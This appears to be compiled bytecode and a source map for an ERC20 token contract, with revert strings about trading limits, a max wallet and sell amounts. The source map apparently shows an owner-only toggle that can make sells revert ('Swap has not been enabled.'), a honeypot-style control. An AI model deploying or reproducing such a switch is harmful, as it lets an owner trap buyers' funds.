7611ddc612e9e565b5b604051908082528060200260200182016040528015611e0b5781602001602082028036833780820191505090505b5090503081600081518110611e2357611e22612ecd565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611eca573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611eee9190612f11565b81600181518110611f0257611f01612ecd565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f6930600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610bdb565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611fcd959493929190613037565b600060405180830381600087803b158015611fe757600080fd5b505af1158015611ffb573d6000803e3d6000fd5b505050505050565b505050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561204757808201518184015260208101905061202c565b60008484015250505050565b6000601f19601f8301169050919050565b600061206f8261200d565b6120798185612018565b9350612089818560208601612029565b61209281612053565b840191505092915050565b600060208201905081810360008301526120b78184612064565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006120ef826120c4565b9050919050565b6120ff816120e4565b811461210a57600080fd5b50565b60008135905061211c816120f6565b92915050565b6000819050919050565b61213581612122565b811461214057600080fd5b50565b6000813590506121528161212c565b92915050565b6000806040838503121561216f5761216e6120bf565b5b600061217d8582860161210d565b925050602061218e85828601612143565b9150509250929050565b60008115159050919050565b6121ad81612198565b82525050565b60006020820190506121c860008301846121a4565b92915050565b6000819050919050565b60006121f36121ee6121e9846120c4565b6121ce565b6120c4565b9050919050565b6000612205826121d8565b9050919050565b6000612217826121fa565b9050919050565b6122278161220c565b82525050565b6000602082019050612242600083018461221e565b92915050565b61225181612122565b82525050565b600060208201905061226c6000830184612248565b92915050565b60008060006060848603121561228b5761228a6120bf565b5b60006122998682870161210d565b93505060206122aa8682870161210d565b92505060406122bb86828701612143565b9150509250925092565b6122ce81612198565b81146122d957600080fd5b50565b6000813590506122eb816122c5565b92915050565b60008060408385031215612308576123076120bf565b5b60006123168582860161210d565b9250506020612327858286016122dc565b9150509250929050565b600060ff82169050919050565b61234781612331565b82525050565b6000602082019050612362600083018461233e565b92915050565b612371816120e4565b82525050565b600060208201905061238c6000830184612368565b92915050565b6000602082840312156123a8576123a76120bf565b5b60006123b68482850161210d565b91505092915050565b600080604083850312156123d6576123d56120bf565b5b60006123e48582860161210d565b92505060206123f58582860161210d565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061244657607f821691505b602082108103612459576124586123ff565b5b50919050565b7f546865206c696d69747320686173206265656e2072656d6f7665642e00000000600082015250565b6000612495601c83612018565b91506124a08261245f565b602082019050919050565b600060208201905081810360008301526124c481612488565b9050919050565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612501601783612018565b915061250c826124cb565b602082019050919050565b60006020820190508181036000830152612530816124f4565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061257182612122565b915061257c83612122565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156125b5576125b4612537565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006125fa82612122565b915061260583612122565b925082612615576126146125c0565b5b828204905092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061267c602483612018565b915061268782612620565b604082019050919050565b600060208201905081810360008301526126ab8161266f565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061270e602283612018565b9150612719826126b2565b604082019050919050565b6000602082019050818103600083015261273d81612701565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061277a602083612018565b915061278582612744565b602082019050919050565b600060208201905081810360008301526127a98161276d565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b60006127e6601d83612018565b91506127f1826127b0565b602082019050919050565b60006020820190508181036000830152612815816127d9565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f64726573732e0000000000000000000000000000000000000000000000000000602082015250565b6000612878602683612018565b91506128838261281c565b604082019050919050565b600060208201905081810360008301526128a78161286b565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573732e00000000000000000000000000000000000000000000000000000000602082015250565b600061290a602483612018565b9150612915826128ae565b604082019050919050565b60006020820190508181036000830152612939816128fd565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206d757374206265206760008201527f726561746572207468616e207a65726f2e000000000000000000000000000000602082015250565b600061299c603183612018565b91506129a782612940565b604082019050919050565b600060208201905081810360008301526129cb8161298f565b9050919050565b7f54726164696e67206973206e6f74206163746976652e00000000000000000000600082015250565b6000612a08601683612018565b9150612a13826129d2565b602082019050919050565b60006020820190508181036000830152612a37816129fb565b9050919050565b7f427579207472616e7366657220616d6f756e742065786365656473207468652060008201527f6d6178207472616e73616374696f6e20616d6f756e742e000000000000000000602082015250565b6000612a9a603783612018565b9150612aa582612a3e565b604082019050919050565b60006020820190508181036000830152612ac981612a8d565b9050919050565b6000612adb82612122565b9150612ae683612122565b9250828201905080821115612afe57612afd612537565b5b92915050565b7f4d61782077616c6c65742065786365656465642e000000000000000000000000600082015250565b6000612b3a601483612018565b9150612b4582612b04565b602082019050919050565b60006020820190508181036000830152612b6981612b2d565b9050919050565b7f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560008201527f206d6178207472616e73616374696f6e20616d6f756e742e0000000000000000602082015250565b6000612bcc603883612018565b9150612bd782612b70565b604082019050919050565b60006020820190508181036000830152612bfb81612bbf565b9050919050565b7f5377617020686173206e6f74206265656e20656e61626c65642e000000000000600082015250565b6000612c38601a83612018565b9150612c4382612c02565b602082019050919050565b60006020820190508181036000830152612c6781612c2b565b9050919050565b6000612c7982612122565b9150612c8483612122565b9250828203905081811115612c9c57612c9b612537565b5b92915050565b600081905092915050565b50565b6000612cbd600083612ca2565b9150612cc882612cad565b600082019050919050565b6000612cde82612cb0565b9150819050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612d44602583612018565b9150612d4f82612ce8565b604082019050919050565b60006020820190508181036000830152612d7381612d37565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612dd6602383612018565b9150612de182612d7a565b604082019050919050565b60006020820190508181036000830152612e0581612dc9565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000612e68602683612018565b9150612e7382612e0c565b604082019050919050565b60006020820190508181036000830152612e9781612e5b565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050612f0b816120f6565b92915050565b600060208284031215612f2757612f266120bf565b5b6000612f3584828501612efc565b91505092915050565b6000819050919050565b6000612f63612f5e612f5984612f3e565b6121ce565b612122565b9050919050565b612f7381612f48565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b612fae816120e4565b82525050565b6000612fc08383612fa5565b60208301905092915050565b6000602082019050919050565b6000612fe482612f79565b612fee8185612f84565b9350612ff983612f95565b8060005b8381101561302a5781516130118882612fb4565b975061301c83612fcc565b925050600181019050612ffd565b5085935050505092915050565b600060a08201905061304c6000830188612248565b6130596020830187612f6a565b818103604083015261306b8186612fd9565b905061307a6060830185612368565b6130876080830184612248565b969550505050505056fea264697066735822122045f4b9746faaeba50e12e9fc829b8c0733c014faf04613fb6376f783ee7d213164736f6c63430008100033

Deployed Bytecode Sourcemap

6942:6173:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2731:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3649:201;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7017:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3046:108;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13024:86;;;;;;;;;;;;;:::i;:::-;;3856:261;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9309:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7349:22;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2947:93;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7321:21;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7065:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7698:33;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7619:34;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7660:31;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3160:127;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1136:103;;;;;;;;;;;;;:::i;:::-;;9143:158;;;;;;;;;;;;;:::i;:::-;;7738:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;901:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2837:104;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3293:193;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9478:133;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7378:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11887:148;;;;;;;;;;;;;:::i;:::-;;3492:151;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7579:33;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7420:24;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2731:100;2785:13;2818:5;2811:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2731:100;:::o;3649:201::-;3732:4;3749:13;3765:12;:10;:12::i;:::-;3749:28;;3788:32;3797:5;3804:7;3813:6;3788:8;:32::i;:::-;3838:4;3831:11;;;3649:201;;;;:::o;7017:41::-;;;;;;;;;;;;;:::o;3046:108::-;3107:7;3134:12;;3127:19;;3046:108;:::o;13024:86::-;860:13;:11;:13::i;:::-;13091:11:::1;;;;;;;;;;;13090:12;13076:11;;:26;;;;;;;;;;;;;;;;;;13024:86::o:0;3856:261::-;3953:4;3970:15;3988:12;:10;:12::i;:::-;3970:30;;4011:38;4027:4;4033:7;4042:6;4011:15;:38::i;:::-;4060:27;4070:4;4076:2;4080:6;4060:9;:27::i;:::-;4105:4;4098:11;;;3856:261;;;;;:::o;9309:161::-;860:13;:11;:13::i;:::-;9454:8:::1;9411:30;:40;9442:8;9411:40;;;;;;;;;;;;;;;;:51;;;;;;;;;;;;;;;;;;9309:161:::0;;:::o;7349:22::-;;;;:::o;2947:93::-;3005:5;3030:2;3023:9;;2947:93;:::o;7321:21::-;;;;:::o;7065:28::-;;;;;;;;;;;;;:::o;7698:33::-;;;;;;;;;;;;;:::o;7619:34::-;;;;;;;;;;;;;:::o;7660:31::-;;;;;;;;;;;;;:::o;3160:127::-;3234:7;3261:9;:18;3271:7;3261:18;;;;;;;;;;;;;;;;3254:25;;3160:127;;;:::o;1136:103::-;860:13;:11;:13::i;:::-;1201:30:::1;1228:1;1201:18;:30::i;:::-;1136:103::o:0;9143:158::-;860:13;:11;:13::i;:::-;9223:4:::1;9205:22;;:14;;;;;;;;;;;:22;;;9197:63;;;;;;;;;;;;:::i;:::-;;;;;;;;;9288:5;9271:14;;:22;;;;;;;;;;;;;;;;;;9143:158::o:0;7738:30::-;;;;;;;;;;;;;:::o;901:87::-;947:7;974:6;;;;;;;;;;;967:13;;901:87;:::o;2837:104::-;2893:13;2926:7;2919:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2837:104;:::o;3293:193::-;3372:4;3389:13;3405:12;:10;:12::i;:::-;3389:28;;3428;3438:5;3445:2;3449:6;3428:9;:28::i;:::-;3474:4;3467:11;;;3293:193;;;;:::o;9478:133::-;860:13;:11;:13::i;:::-;9595:8:::1;9564:18;:28;9583:8;9564:28;;;;;;;;;;;;;;;;:39;;;;;;;;;;;;;;;;;;9478:133:::0;;:::o;7378:35::-;;;;:::o;11887:148::-;860:13;:11;:13::i;:::-;11949:14:::1;;;;;;;;;;;11948:15;11940:51;;;;;;;;;;;;:::i;:::-;;;;;;;;;12019:4;12002:14;;:21;;;;;;;;;;;;;;;;;;11887:148::o:0;3492:151::-;3581:7;3608:11;:18;3620:5;3608:18;;;;;;;;;;;;;;;:27;3627:7;3608:27;;;;;;;;;;;;;;;;3601:34;;3492:151;;;;:::o;7579:33::-;;;;:::o;7420:24::-;;;;:::o;203:82::-;261:7;282:1;278;:5;;;;:::i;:::-;271:12;;203:82;;;;:::o;291:::-;349:7;370:1;366;:5;;;;:::i;:::-;359:12;;291:82;;;;:::o;501:::-;554:7;571:10;564:17;;501:82;:::o;5475:344::-;5594:1;5577:19;;:5;:19;;;5569:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5675:1;5656:21;;:7;:21;;;5648:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5757:6;5727:11;:18;5739:5;5727:18;;;;;;;;;;;;;;;:27;5746:7;5727:27;;;;;;;;;;;;;;;:36;;;;5795:7;5779:32;;5788:5;5779:32;;;5804:6;5779:32;;;;;;:::i;:::-;;;;;;;;5475:344;;;:::o;996:132::-;1071:12;:10;:12::i;:::-;1060:23;;:7;:5;:7::i;:::-;:23;;;1052:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;996:132::o;5825:419::-;5926:24;5953:25;5963:5;5970:7;5953:9;:25::i;:::-;5926:52;;6013:17;5993:16;:37;5989:248;;6075:6;6055:16;:26;;6047:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6159:51;6168:5;6175:7;6203:6;6184:16;:25;6159:8;:51::i;:::-;5989:248;5915:329;5825:419;;;:::o;9613:2266::-;7194:1;9707:12;;:4;:12;;;9699:63;;;;;;;;;;;;:::i;:::-;;;;;;;;;7140:6;9777:10;;:2;:10;;;9769:59;;;;;;;;;;;;:::i;:::-;;;;;;;;;9852:1;9843:6;:10;9835:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;9928:7;:5;:7::i;:::-;9920:15;;:4;:15;;;;:32;;;;;9945:7;:5;:7::i;:::-;9939:13;;:2;:13;;;;9920:32;:46;;;;;7194:1;9956:10;;:2;:10;;;;9920:46;:60;;;;;7140:6;9970:10;;:2;:10;;;;9920:60;:73;;;;;9985:8;;;;;;;;;;;9984:9;9920:73;9916:980;;;10011:14;;;;;;;;;;;10006:133;;10050:18;:24;10069:4;10050:24;;;;;;;;;;;;;;;;;;;;;;;;;:50;;;;10078:18;:22;10097:2;10078:22;;;;;;;;;;;;;;;;;;;;;;;;;10050:50;10042:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;10006:133;10155:14;;;;;;;;;;;10151:738;;;10190:5;:11;10196:4;10190:11;;;;;;;;;;;;;;;;;;;;;;;;;:50;;;;;10206:30;:34;10237:2;10206:34;;;;;;;;;;;;;;;;;;;;;;;;;10205:35;10190:50;10186:692;;;10279:20;;10269:6;:30;;10261:98;;;;;;;;;;;;:::i;:::-;;;;;;;;;10412:9;;10395:13;10405:2;10395:9;:13::i;:::-;10386:6;:22;;;;:::i;:::-;:35;;10378:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;10186:692;;;10472:5;:9;10478:2;10472:9;;;;;;;;;;;;;;;;;;;;;;;;;:50;;;;;10486:30;:36;10517:4;10486:36;;;;;;;;;;;;;;;;;;;;;;;;;10485:37;10472:50;10468:410;;;10561:20;;10551:6;:30;;10543:99;;;;;;;;;;;;:::i;:::-;;;;;;;;;10670:11;;;;;;;;;;;10669:12;10661:51;;;;;;;;;;;;:::i;:::-;;;;;;;;;10468:410;;;10739:30;:34;10770:2;10739:34;;;;;;;;;;;;;;;;;;;;;;;;;10734:144;;10828:9;;10811:13;10821:2;10811:9;:13::i;:::-;10802:6;:22;;;;:::i;:::-;:35;;10794:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;10734:144;10468:410;10186:692;10151:738;9916:980;10904:12;10947:18;;10919:24;10937:4;10919:9;:24::i;:::-;:46;;10904:61;;10986:7;:31;;;;;11006:11;;;;;;;;;;;10986:31;:53;;;;;11031:8;;;;;;;;;;;11030:9;10986:53;:78;;;;;11053:5;:11;11059:4;11053:11;;;;;;;;;;;;;;;;;;;;;;;;;11052:12;10986:78;:116;;;;;11078:18;:24;11097:4;11078:24;;;;;;;;;;;;;;;;;;;;;;;;;11077:25;10986:116;:152;;;;;11116:18;:22;11135:2;11116:22;;;;;;;;;;;;;;;;;;;;;;;;;11115:23;10986:152;10972:261;;;11168:4;11157:8;;:15;;;;;;;;;;;;;;;;;;11183;11192:5;11183:8;:15::i;:::-;11220:5;11209:8;;:16;;;;;;;;;;;;;;;;;;10972:261;11241:12;11257:8;;;;;;;;;;;11256:9;11241:24;;11278:18;:24;11297:4;11278:24;;;;;;;;;;;;;;;;;;;;;;;;;:50;;;;11306:18;:22;11325:2;11306:22;;;;;;;;;;;;;;;;;;;;;;;;;11278:50;11274:90;;;11351:5;11341:15;;11274:90;11372:12;11399:7;11395:441;;;11422:5;:9;11428:2;11422:9;;;;;;;;;;;;;;;;;;;;;;;;;:24;;;;11435:5;:11;11441:4;11435:11;;;;;;;;;;;;;;;;;;;;;;;;;11422:24;11419:90;;;11470:27;11493:3;11470:18;11481:6;;11470;:10;;:18;;;;:::i;:::-;:22;;:27;;;;:::i;:::-;11463:34;;11419:90;11523:5;:9;11529:2;11523:9;;;;;;;;;;;;;;;;;;;;;;;;;:23;;;;;11545:1;11536:6;;:10;11523:23;11519:190;;;11570:27;11593:3;11570:18;11581:6;;11570;:10;;:18;;;;:::i;:::-;:22;;:27;;;;:::i;:::-;11563:34;;11519:190;;;11619:5;:11;11625:4;11619:11;;;;;;;;;;;;;;;;;;;;;;;;;:26;;;;;11644:1;11634:7;;:11;11619:26;11615:94;;;11669:28;11693:3;11669:19;11680:7;;11669:6;:10;;:19;;;;:::i;:::-;:23;;:28;;;;:::i;:::-;11662:35;;11615:94;11519:190;11732:1;11725:4;:8;11721:83;;;11750:42;11766:4;11780;11787;11750:15;:42::i;:::-;11721:83;11824:4;11814:14;;;;;:::i;:::-;;;11395:441;11842:33;11858:4;11864:2;11868:6;11842:15;:33::i;:::-;9692:2187;;;9613:2266;;;:::o;1247:191::-;1321:16;1340:6;;;;;;;;;;;1321:25;;1366:8;1357:6;;:17;;;;;;;;;;;;;;;;;;1421:8;1390:40;;1411:8;1390:40;;;;;;;;;;;;1310:128;1247:191;:::o;12524:492::-;12579:23;12605:24;12623:4;12605:9;:24::i;:::-;12579:50;;12640:12;12688:1;12669:15;:20;12665:59;;12706:7;;;;12665:59;12755:5;12740:20;;:11;:20;;;:65;;;;;12803:2;12782:18;;:23;;;;:::i;:::-;12764:15;:41;12740:65;12736:139;;;12861:2;12840:18;;:23;;;;:::i;:::-;12822:41;;12736:139;12887:33;12904:15;12887:16;:33::i;:::-;12953:15;;;;;;;;;;;12945:29;;12982:21;12945:63;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12931:77;;;;;12568:448;;12524:492;;:::o;4123:798::-;4236:1;4220:18;;:4;:18;;;4212:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;4313:1;4299:16;;:2;:16;;;4291:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;4366:38;4387:4;4393:2;4397:6;4366:20;:38::i;:::-;4415:19;4437:9;:15;4447:4;4437:15;;;;;;;;;;;;;;;;4415:37;;4486:6;4471:11;:21;;4463:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;4603:6;4589:11;:20;4571:9;:15;4581:4;4571:15;;;;;;;;;;;;;;;:38;;;;4806:6;4789:9;:13;4799:2;4789:13;;;;;;;;;;;;;;;;:23;;;;;;;;;;;4854:2;4839:26;;4848:4;4839:26;;;4858:6;4839:26;;;;;;:::i;:::-;;;;;;;;4876:37;4896:4;4902:2;4906:6;4876:19;:37::i;:::-;4201:720;4123:798;;;:::o;12043:473::-;12109:21;12147:1;12133:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12109:40;;12178:4;12160;12165:1;12160:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;;;12204:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12194:4;12199:1;12194:7;;;;;;;;:::i;:::-;;;;;;;:32;;;;;;;;;;;12239:62;12256:4;12271:15;;;;;;;;;;;12289:11;12239:8;:62::i;:::-;12312:15;;;;;;;;;;;:66;;;12393:11;12419:1;12435:4;12462;12482:15;12312:196;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12098:418;12043:473;:::o;6250:91::-;;;;:::o;6347:90::-;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:60::-;3474:3;3495:5;3488:12;;3446:60;;;:::o;3512:142::-;3562:9;3595:53;3613:34;3622:24;3640:5;3622:24;:::i;:::-;3613:34;:::i;:::-;3595:53;:::i;:::-;3582:66;;3512:142;;;:::o;3660:126::-;3710:9;3743:37;3774:5;3743:37;:::i;:::-;3730:50;;3660:126;;;:::o;3792:152::-;3868:9;3901:37;3932:5;3901:37;:::i;:::-;3888:50;;3792:152;;;:::o;3950:183::-;4063:63;4120:5;4063:63;:::i;:::-;4058:3;4051:76;3950:183;;:::o;4139:274::-;4258:4;4296:2;4285:9;4281:18;4273:26;;4309:97;4403:1;4392:9;4388:17;4379:6;4309:97;:::i;:::-;4139:274;;;;:::o;4419:118::-;4506:24;4524:5;4506:24;:::i;:::-;4501:3;4494:37;4419:118;;:::o;4543:222::-;4636:4;4674:2;4663:9;4659:18;4651:26;;4687:71;4755:1;4744:9;4740:17;4731:6;4687:71;:::i;:::-;4543:222;;;;:::o;4771:619::-;4848:6;4856;4864;4913:2;4901:9;4892:7;4888:23;4884:32;4881:119;;;4919:79;;:::i;:::-;4881:119;5039:1;5064:53;5109:7;5100:6;5089:9;5085:22;5064:53;:::i;:::-;5054:63;;5010:117;5166:2;5192:53;5237:7;5228:6;5217:9;5213:22;5192:53;:::i;:::-;5182:63;;5137:118;5294:2;5320:53;5365:7;5356:6;5345:9;5341:22;5320:53;:::i;:::-;5310:63;;5265:118;4771:619;;;;;:::o;5396:116::-;5466:21;5481:5;5466:21;:::i;:::-;5459:5;5456:32;5446:60;;5502:1;5499;5492:12;5446:60;5396:116;:::o;5518:133::-;5561:5;5599:6;5586:20;5577:29;;5615:30;5639:5;5615:30;:::i;:::-;5518:133;;;;:::o;5657:468::-;5722:6;5730;5779:2;5767:9;5758:7;5754:23;5750:32;5747:119;;;5785:79;;:::i;:::-;5747:119;5905:1;5930:53;5975:7;5966:6;5955:9;5951:22;5930:53;:::i;:::-;5920:63;;5876:117;6032:2;6058:50;6100:7;6091:6;6080:9;6076:22;6058:50;:::i;:::-;6048:60;;6003:115;5657:468;;;;;:::o;6131:86::-;6166:7;6206:4;6199:5;6195:16;6184:27;;6131:86;;;:::o;6223:112::-;6306:22;6322:5;6306:22;:::i;:::-;6301:3;6294:35;6223:112;;:::o;6341:214::-;6430:4;6468:2;6457:9;6453:18;6445:26;;6481:67;6545:1;6534:9;6530:17;6521:6;6481:67;:::i;:::-;6341:214;;;;:::o;6561:118::-;6648:24;6666:5;6648:24;:::i;:::-;6643:3;6636:37;6561:118;;:::o;6685:222::-;6778:4;6816:2;6805:9;6801:18;6793:26;;6829:71;6897:1;6886:9;6882:17;6873:6;6829:71;:::i;:::-;6685:222;;;;:::o;6913:329::-;6972:6;7021:2;7009:9;7000:7;6996:23;6992:32;6989:119;;;7027:79;;:::i;:::-;6989:119;7147:1;7172:53;7217:7;7208:6;7197:9;7193:22;7172:53;:::i;:::-;7162:63;;7118:117;6913:329;;;;:::o;7248:474::-;7316:6;7324;7373:2;7361:9;7352:7;7348:23;7344:32;7341:119;;;7379:79;;:::i;:::-;7341:119;7499:1;7524:53;7569:7;7560:6;7549:9;7545:22;7524:53;:::i;:::-;7514:63;;7470:117;7626:2;7652:53;7697:7;7688:6;7677:9;7673:22;7652:53;:::i;:::-;7642:63;;7597:118;7248:474;;;;;:::o;7728:180::-;7776:77;7773:1;7766:88;7873:4;7870:1;7863:15;7897:4;7894:1;7887:15;7914:320;7958:6;7995:1;7989:4;7985:12;7975:22;;8042:1;8036:4;8032:12;8063:18;8053:81;;8119:4;8111:6;8107:17;8097:27;;8053:81;8181:2;8173:6;8170:14;8150:18;8147:38;8144:84;;8200:18;;:::i;:::-;8144:84;7965:269;7914:320;;;:::o;8240:178::-;8380:30;8376:1;8368:6;8364:14;8357:54;8240:178;:::o;8424:366::-;8566:3;8587:67;8651:2;8646:3;8587:67;:::i;:::-;8580:74;;8663:93;8752:3;8663:93;:::i;:::-;8781:2;8776:3;8772:12;8765:19;;8424:366;;;:::o;8796:419::-;8962:4;9000:2;8989:9;8985:18;8977:26;;9049:9;9043:4;9039:20;9035:1;9024:9;9020:17;9013:47;9077:131;9203:4;9077:131;:::i;:::-;9069:139;;8796:419;;;:::o;9221:173::-;9361:2